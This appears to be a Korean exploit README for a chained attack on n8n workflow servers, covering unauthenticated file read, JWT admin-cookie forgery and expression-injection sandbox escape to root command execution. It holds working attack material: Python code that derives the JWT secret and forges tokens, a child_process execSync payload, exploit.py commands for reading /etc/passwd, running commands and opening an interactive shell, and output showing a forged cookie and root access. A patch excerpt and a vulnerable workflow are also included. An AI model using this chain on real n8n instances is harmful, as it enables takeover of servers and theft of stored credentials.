┌───────────────────────────────────────────────────────────┐
│                     인증 없음                               │
├───────────────────────────────────────────────────────────┤
│  1. /proc/self/environ 읽기 → HOME 디렉토리 찾기            │
│  2. $HOME/.n8n/config 읽기 → encryptionKey 획득            │
│  3. $HOME/.n8n/database.sqlite 읽기 → 관리자 자격 증명 획득 │
├───────────────────────────────────────────────────────────┤
│                      토큰 위조                              │
├───────────────────────────────────────────────────────────┤
│  4. encryptionKey에서 JWT 시크릿 도출                       │
│  5. 관리자 세션 쿠키 위조                                   │
├───────────────────────────────────────────────────────────┤
│                    인증된 RCE                              │
├───────────────────────────────────────────────────────────┤
│  6. 표현식 주입이 포함된 워크플로우 생성                     │
│  7. this.process.mainModule.require를 통한 샌드박스 우회    │
│  8. 임의 명령 실행                                         │
└───────────────────────────────────────────────────────────┘

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

// 수정 전 (취약)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// 수정 후 (패치)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

# JWT 시크릿 도출
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT 해시
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# 토큰 위조
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

docker compose up -d
# 설정 완료까지 약 60초 대기
# 폼: http://localhost:5678/form/vulnerable-form
# 자격 증명: [email protected] / password

# 임의 파일 읽기
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# 명령 실행이 포함된 전체 체인
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# 대화형 셸
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n 전체 체인           ║
║     임의 파일 읽기 → 토큰 위조 → 샌드박스 우회 → RCE           ║
╚═══════════════════════════════════════════════════════════════╝

[*] 대상: http://localhost:5678/form/vulnerable-form
[*] 버전: 1.65.0 (취약)
[x] HOME 디렉토리
[+] HOME 디렉토리: /root
[x] 암호화 키
[+] 암호화 키: yusrXZV1...
[x] 데이터베이스
[+] 데이터베이스: 1327104 바이트
[x] 관리자 사용자
[+] 관리자 사용자: [email protected]
[x] 토큰 위조
[+] 토큰 위조: OK
[x] 관리자 접근
[+] 관리자 접근: 허용됨!
[+] 쿠키: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}